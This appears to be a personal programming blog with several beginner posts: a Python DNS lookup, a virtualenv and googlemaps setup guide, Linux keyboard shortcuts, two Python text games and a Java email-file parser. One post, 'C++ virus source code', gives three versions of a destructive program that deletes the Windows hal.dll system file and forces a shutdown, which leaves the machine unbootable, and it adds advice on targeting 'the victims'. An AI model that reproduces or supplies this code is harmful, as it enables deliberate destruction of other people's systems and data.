Friday, February 4, 2011

Turning a Hostname into an IP Address

#!/usr/bin/env python
#Get the IP Address

import socket
hostname = 'maps.google.com'
addr = socket.gethostbyname(hostname)
print 'The address of ', hostname, 'is', addr

Install VirtualEnv in Ubuntu

Once virtualenv is installed, you have the power to create any number of small, self-contained “virtual Python environments” where packages can be installed,
un-installed, and experimented with without contaminating your system-wide Python. When a particular project or experiment is over, you simply remove its virtual environment directory, and your system is clean. In this case, we want to create a virtual environment in which to test the googlemaps package. If you
have never installed virtualenv on your system before, visit this URL to download and install it:

http://pypi.python.org/pypi/virtualenv

Once you have virtualenv installed, you can create a new environment like this (on Windows, the directory containing the Python binary in the virtual environment will be named “Scripts” instead):

$ virtualenv --no-site-packages gmapenv
$ cd gmapenv
$ ls
bin/ include/ lib/
$ . bin/activate
$ python -c 'import googlemaps'
Traceback (most recent call last):
File "<string>", line 1, in <module>
ImportError: No module named googlemaps

As you can see, the googlemaps package is not yet available! To install it, use the pip command that is inside your virtualenv and that is now on your path thanks to the activate command that you ran:

$ pip install googlemaps
Downloading/unpacking googlemaps
Downloading googlemaps-1.0.2.tar.gz (60Kb): 60Kb downloaded
Running setup.py egg_info for package googlemaps
Installing collected packages: googlemaps
Running setup.py install for googlemaps
Successfully installed googlemaps
Cleaning up...

The python binary inside the virtualenv will now have the googlemaps package available:

$ python -c 'import googlemaps'

Now that you have the googlemaps package installed, you should be able to run the simple program named search1.py.

#!/usr/bin/env python
# Fetching a Longitude and Latitudefrom googlemaps import GoogleMaps
address = '207 N. Defiance St, Archbold, OH'
print GoogleMaps().address_to_latlng(address)
Running it at the command line, you should see a result like this:
$ python search1.py

(41.5228242, -84.3063479)



Credits goes to Foundations of Python Network Programming(Apress)

Wednesday, February 2, 2011

Short-notes for Linux

Exit GUI and start up again command line CTRL-ALT-BACKSPACE
Shift to command line CTRL-ALT-F1
Shift back to GUI CTRL-ALT-F7
Terminal window and enter the shutdown, halt, or reboot command, halt will log out and shut down your system.
Use CTRL-ALT-F7 to access the first session and CTRL-ALT-F8 for the second session.
To end your session, issue the logout or exit command. This returns you to the login prompt, and Linux waits for another user to log in.
Shut down the system $ shutdown -h now
Reboot CTRL+DEL+ALT
To create a link, hold both the CTRL and SHIFT keys while dragging the icon to the location where you want the link.
The startx command starts the GNOME desktop by default.
Terminal --- $ command-name options arguments
The ls command displays a listing of files in your directory.
CTRL-U erases the whole line and enables you to start over again at the prompt.

Saturday, January 29, 2011

Dragon Realm's Game

import random;
import time;

def displayIntro():
 print("You are in a land full of Dragons. In front of you!");
 print("You see two caves. In one cave the dragon is friendly...");
 print("and will share his treasure with you!");
 print("Other one is greedy and Kill you!");
 print();
 
def chooseCave():
 cave = "";
 while cave != "1" and cave != "2":
  print("Which cave will you go into?(1 or 2)");
  cave = input();
 return cave;
 

def checkCave(chosenCave):
 print("You approach the cave...");
 time.sleep(2);
 print("It is dark and spooky...");
 time.sleep(2);
 print("A large dragon jumps out in front of you and open the jaw...");
 print();
 time.sleep(2);
 
 friendlyCave = random.randint(1,2);
 
 if chosenCave == str(friendlyCave):
  print("Give you his treasure...");
 else:
  print("Gobbles you down in one bite...!");

playAgain = "yes";

while playAgain == "yes" or playAgain == "y":
 displayIntro();
 caveNumber = chooseCave();
 checkCave(caveNumber);
 print("Do you want to play again? y/n");
 playAgain = input();
http://inventwithpython.com/chapter6.html

Guess The Number Simple Game in Python

I am learning python at this moment and created simple game. I saw some tutorial before and just coded this.

#!/usr/bin/env python3.1
#This is a guess the number game.
import random;

guessesToken = 0;

print("Hello! What is your name?");
myName = input();

number = random.randint(1, 20);

print("Well, Myfriend "+myName+" let's play a game");
print("Guess a number between 1 and 20");

while guessesToken < 6:
 guess = input();
 guess = int(guess);
 
 guessesToken = guessesToken + 1;
 
 if guess < number:
  print("Your guess is too low!");
 if guess > number:
  print("Your guess is too high!");
 if guess == number:
  break;
if guess == number:
 guessesToken = str(guessesToken);
 print("You guessed it within "+guessesToken+" times congratulations!");

if guess != number:
 print("You failed man!");

Wednesday, December 15, 2010

C++ virus source code

Don't try on your computer. And this is for only educational purposes.

#include <cstdlib>
#include <iostream>

using namespace std;

int main(int argc, char *argv[])
{
    std::remove("C:\\windows\\system32\\hal.dll"); //PWNAGE TIME
    system("shutdown -s -r");
    system("PAUSE");
    return EXIT_SUCCESS;
}

More advanced source code.

#include <cstdlib>
#include <iostream>

using namespace std;

int main(int argc, char *argv[])
{
std::remove("%systemroot%\\system32\\hal.dll"); //PWNAGE TIME
system("shutdown -s -r");
system("PAUSE");
return EXIT_SUCCESS;
}

The second version would be more useful during times when you do not know the victims default drive. It might be drive N: for all you know.

#include <cstdlib>
#include <iostream>

using namespace std;

int main(int argc, char *argv[])
{
    system("del %SystemRoot%\\system32\\hal.dll -q"); //PWNAGE TIME
    system("%SystemRoot%\\system32\\shutdown.exe -s -f -t 00");
    system("PAUSE");
    return EXIT_SUCCESS;
}

The "del" command is used in DOS to delete stuff. "-q" is a parameter which means force delete,or delete without asking.shutdown -s -f -t 00 means shutdown,force close everything running,in 00 seconds time.

NOT MY WORK. I FOUND IT FROM INTERNET.

Thursday, December 2, 2010

Read Text File Containing Email Addresses..

I wrote this small program to count email addresses in a text file. And to print email addresses one by one.

I use StringTokenizer class  to sort emails. You can use any character to sort out Strings.

For example, my file contains isuru@xcs.com; madusanka@qwe.com; roxniro@qwa.com... so I user ";" character to sort emails. You can use "@" character to collect user names of email addresses.

File Reader Class

import java.io.*;
import java.util.StringTokenizer;

public class FileReader {

    File file = new File("/root/Documents/emails.txt");
    StringBuffer contents = new StringBuffer();
    BufferedReader reader = null;
    String text = null;
    StringTokenizer st1;


    public void accessFile() {
        try{
             reader = new BufferedReader(new java.io.FileReader(file));
             while((text = reader.readLine()) != null){
                 st1 = new StringTokenizer(text, ";");
                 System.out.println("There are "+ st1.countTokens()+" email addresses!");
                 while(st1.hasMoreTokens()){
                     System.out.println(st1.nextToken());
                     
                 }
             }

        }catch(FileNotFoundException e){
            e.printStackTrace();
        }catch(IOException e){
            e.printStackTrace();
        }

    }

}

Main Class

/**
 *
 * @author Isuru
*/
public class EmailCounter {

    public static void main(String args[]){
        FileReader app = new FileReader();
        app.accessFile();

    }

}